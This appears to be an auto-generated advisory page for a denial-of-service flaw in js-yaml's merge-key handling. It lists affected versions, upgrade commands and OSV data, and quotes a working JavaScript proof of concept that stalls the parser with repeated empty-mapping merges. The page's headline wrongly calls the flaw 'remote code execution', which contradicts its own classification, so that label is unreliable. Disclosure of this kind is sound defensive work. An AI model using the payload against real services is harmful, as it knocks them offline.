GHSA-r3ph-w7gj-g6xm: js-yaml Remote Code Execution Vulnerability

MODERATE
Share
CVSS 5.3
CWE-400 CWE-407
Published
Advisory Summary

GHSA-r3ph-w7gj-g6xm is a MODERATE (CVSS 5.3) remote code execution vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting js-yaml libraries in the npm ecosystem. The issue involves maxtotalmergekeys does not limit cpu use for empty merge sources. Remediation is available by upgrading affected packages to version 5.4.1.

GHSA-r3ph-w7gj-g6xm at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-r3ph-w7gj-g6xm
Severity MODERATE
CVSS v3.1 Base Score 5.3
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product js-yaml
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 5.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability Low (A:L)

How to Fix GHSA-r3ph-w7gj-g6xm

To remediate this vulnerability, upgrade all affected js-yaml dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

js-yaml fixed: 5.4.1 
npm install js-yaml@5.4.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls js-yaml

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-r3ph-w7gj-g6xm, inspect your project dependencies using npm:

npm ls js-yaml

Analyze the terminal output to locate any version of js-yaml in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.4.1), your application is affected.

Note: The npm ls js-yaml command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In js-yaml, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit. ## Example ```yaml arr: &arr [{}, {}, {}, ...] # N empty mappings targets: - <<: *arr # repeated K times ``` For every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged. ## PoC ```js import { performance } from 'node:perf_hooks' import { load, YAML11_SCHEMA } from 'js-yaml' const n = 20000 const src = 'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' + 'targets:\n' + ' - <<: *arr\n'.repeat(n) const started = performance.now() load(src, { schema: YAML11_SCHEMA }) console.log(`${(performance.now() - started).toFixed(1)} ms`) ``` Observed results: | N | YAML size | Time | |---:|---:|---:| | 800 | ~13 KB | ~20 ms | | 3200 | ~50 KB | ~180 ms | | 20000 | ~500 KB | ~13 s | ## Impact When merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit. ## Fix Count every merge source mapping as one budget unit in addition to counting its keys.

GHSA-r3ph-w7gj-g6xm Affected js-yaml Versions

1 component(s)
Fixed Versions:
5.4.1
Product / Package Ecosystem Affected Versions Fixed Version
js-yaml
npm/js-yaml
npm
≥ 5.0.0
< 5.4.1
5.4.1

References

GitHub Advisory / Wiki ADVISORY
https://github.com/nodeca/js-yaml/security/advisories/GHSA-r3ph-w7gj-g6xm
Security Fix Commit FIX COMMIT
https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480
js-yaml Source Repository REPOSITORY
https://github.com/nodeca/js-yaml
js-yaml Release RELEASE
https://github.com/nodeca/js-yaml/releases/tag/5.4.1

Frequently Asked Questions

What is GHSA-r3ph-w7gj-g6xm?
GHSA-r3ph-w7gj-g6xm is a security vulnerability in js-yaml involving maxTotalMergeKeys does not limit CPU use for empty merge sources under CWE-400: Uncontrolled Resource Consumption.
Which js-yaml versions are affected?
Affected versions include releases prior to 5.4.1 across affected packages: js-yaml.
What version fixes GHSA-r3ph-w7gj-g6xm?
Upgrading to 5.4.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is js-yaml affected?
Yes, js-yaml is affected in releases prior to 5.4.1. Upgrade your dependency to 5.4.1 or later.
What is the CVSS score of GHSA-r3ph-w7gj-g6xm?
GHSA-r3ph-w7gj-g6xm has a CVSS v3.1 base score of 5.3 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L.
What CWE is associated with GHSA-r3ph-w7gj-g6xm?
GHSA-r3ph-w7gj-g6xm is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for GHSA-r3ph-w7gj-g6xm?
Run the dependency tree command: 'npm ls js-yaml'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r3ph-w7gj-g6xm",
  "modified" : "2026-09-29T17:57:39Z",
  "published" : "2026-09-29T17:57:39Z",
  "aliases" : [ ],
  "summary" : "js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources",
  "details" : "## Summary\n\n`maxTotalMergeKeys` does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.\n\n## Example\n\n```yaml\narr: &arr [{}, {}, {}, ...] # N empty mappings\ntargets:\n  - <<: *arr                # repeated K times\n```\n\nFor every target, the loader iterates all `N` elements of `arr`. This results in `O(N * K)` work while `totalMergeKeys` remains unchanged.\n\n## PoC\n\n```js\nimport { performance } from 'node:perf_hooks'\nimport { load, YAML11_SCHEMA } from 'js-yaml'\n\nconst n = 20000\n\nconst src =\n  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\\n' +\n  'targets:\\n' +\n  '  - <<: *arr\\n'.repeat(n)\n\nconst started = performance.now()\n\nload(src, { schema: YAML11_SCHEMA })\n\nconsole.log(`${(performance.now() - started).toFixed(1)} ms`)\n```\n\nObserved results:\n\n| N | YAML size | Time |\n|---:|---:|---:|\n| 800 | ~13 KB | ~20 ms |\n| 3200 | ~50 KB | ~180 ms |\n| 20000 | ~500 KB | ~13 s |\n\n## Impact\n\nWhen merge keys are enabled, an attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default `maxTotalMergeKeys` limit.\n\n## Fix\n\nCount every merge source mapping as one budget unit in addition to counting its keys.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "js-yaml"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0"
      }, {
        "fixed" : "5.4.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.4.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nodeca/js-yaml/security/advisories/GHSA-r3ph-w7gj-g6xm"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nodeca/js-yaml"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodeca/js-yaml/releases/tag/5.4.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-407" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-29T17:57:39Z",
    "nvd_published_at" : null
  }
}